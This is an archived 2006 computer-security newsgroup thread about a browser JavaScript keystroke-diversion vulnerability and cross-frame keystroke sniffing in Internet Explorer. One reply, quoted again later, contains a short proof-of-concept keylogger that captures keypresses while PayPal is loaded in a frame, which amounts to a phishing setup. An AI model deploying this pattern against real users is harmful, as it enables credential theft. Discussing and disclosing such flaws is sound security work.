Velocity Reviews - Computer Hardware Reviews

Velocity Reviews > Newsgroups > Computing > Computer Security > Multiple Vendor Web Browser JavaScript Key Filtering Vulnerability

Reply
Thread Tools

Multiple Vendor Web Browser JavaScript Key Filtering Vulnerability

 
 
imhotep
Guest
Posts: n/a
 
      06-06-2006
Affects: IE, Firefox, etc

Multiple Vendor Web Browser JavaScript Key Filtering Vulnerability

"Multiple web browser products are susceptible to a JavaScript key-filtering
vulnerability. This issue is due to the failure of the browsers to securely
handle keystroke input from users.

This issue is demonstrated to allow attackers to divert keystrokes from one
input form in a webpage to a hidden file upload dialog in the same page.
This may allow remote attackers to initiate file uploads from unsuspecting
users. Other attacks may also be possible.

Exploiting this issue requires that users manually type the full path of
files that attackers wish to download. This may require substantial typing
from targeted users, so keyboard-based games, blogs, or other similar pages
are likely to be utilized by attackers to entice users to enter the
required keyboard input to exploit this issue.

Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and
Microsoft Internet Explorer are all reportedly vulnerable to this issue."


http://www.securityfocus.com/bid/18308/discuss


-- Imhotep
 
Reply With Quote
 
 
 
 
Sebastian Gottschalk
Guest
Posts: n/a
 
      06-07-2006
imhotep wrote:

> This issue is demonstrated to allow attackers to divert keystrokes from one
> input form in a webpage to a hidden file upload dialog in the same page.
> This may allow remote attackers to initiate file uploads from unsuspecting
> users. Other attacks may also be possible.


Where exactly is the vulnerability? It's the same as entering the data
into an invisible form. It's purely PEBKAC.

> Exploiting this issue requires that users manually type the full path of
> files that attackers wish to download. This may require substantial typing
> from targeted users, so keyboard-based games, blogs, or other similar pages
> are likely to be utilized by attackers to entice users to enter the
> required keyboard input to exploit this issue.


What about keystroke sniffing across frames and domains? For IE this is
actually told to be a feature, like any other phishing support. Now this
is a serious problem because one can spoof the address bar on IE as well
and you'll get the SSL lock for free.

<script>
var keylog='Capturing: ';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';}
</script>
<frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*">
<frame src="https://www.paypal.com" scrolling="auto">
</frameset>

BTW, [X] Tell news!
 
Reply With Quote
 
 
 
 
imhotep
Guest
Posts: n/a
 
      06-07-2006
Sebastian Gottschalk wrote:

> imhotep wrote:
>
>> This issue is demonstrated to allow attackers to divert keystrokes from
>> one input form in a webpage to a hidden file upload dialog in the same
>> page. This may allow remote attackers to initiate file uploads from
>> unsuspecting users. Other attacks may also be possible.

>
> Where exactly is the vulnerability? It's the same as entering the data
> into an invisible form. It's purely PEBKAC.


PEBKAC????

>> Exploiting this issue requires that users manually type the full path of
>> files that attackers wish to download. This may require substantial
>> typing from targeted users, so keyboard-based games, blogs, or other
>> similar pages are likely to be utilized by attackers to entice users to
>> enter the required keyboard input to exploit this issue.

>
> What about keystroke sniffing across frames and domains? For IE this is
> actually told to be a feature, like any other phishing support. Now this
> is a serious problem because one can spoof the address bar on IE as well
> and you'll get the SSL lock for free.


hummmm "feature" eh? Go figures...

> <script>
> var keylog='Capturing: ';
> document.onkeypress = function () {
> k = window.event.keyCode;
> window.status = keylog += String.fromCharCode(k) + '[' + k +']';}
> </script>
> <frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*">
> <frame src="https://www.paypal.com" scrolling="auto">
> </frameset>
>
> BTW, [X] Tell news!



Imhotep
 
Reply With Quote
 
Sebastian Gottschalk
Guest
Posts: n/a
 
      06-07-2006
imhotep wrote:

>> Where exactly is the vulnerability? It's the same as entering the data
>> into an invisible form. It's purely PEBKAC.

>
> PEBKAC????


Problem exists between keyboard and chair.

>> What about keystroke sniffing across frames and domains? For IE this is
>> actually told to be a feature, like any other phishing support. Now this
>> is a serious problem because one can spoof the address bar on IE as well
>> and you'll get the SSL lock for free.

>
> hummmm "feature" eh? Go figures...


Don't tell me, tell Microsoft. Keystroke sniffing has been reported a
year ago or so. Same goes for all other phishing stuff IE is open for,
like putting a DIV layer over a frame loaded with a website from another
domain.
 
Reply With Quote
 
 
 
Reply

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
Determining Browser Vendor, Version, and Operating System With JavaScript Beline Javascript 5 06-05-2010 02:35 PM
QuickBooks Key v6.5.918 WinALL, Quicken Key v6.5.918 WinALL, Peachtree Accounting Key v6.5.971 WinALL, new ! code_fu NZ Computing 0 10-10-2004 02:26 PM
Replace Tab Key to Return Key (Enter Key) from Web Forms? M P ASP General 1 08-06-2004 08:32 AM
!Multiple Browsers Frame Injection Vulnerability Max Burke NZ Computing 8 07-02-2004 03:45 PM
URGENT: Filtering for EzWAP browser Mustafa Rabie ASP .Net Mobile 0 08-26-2003 03:28 PM



Advertisments
 



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57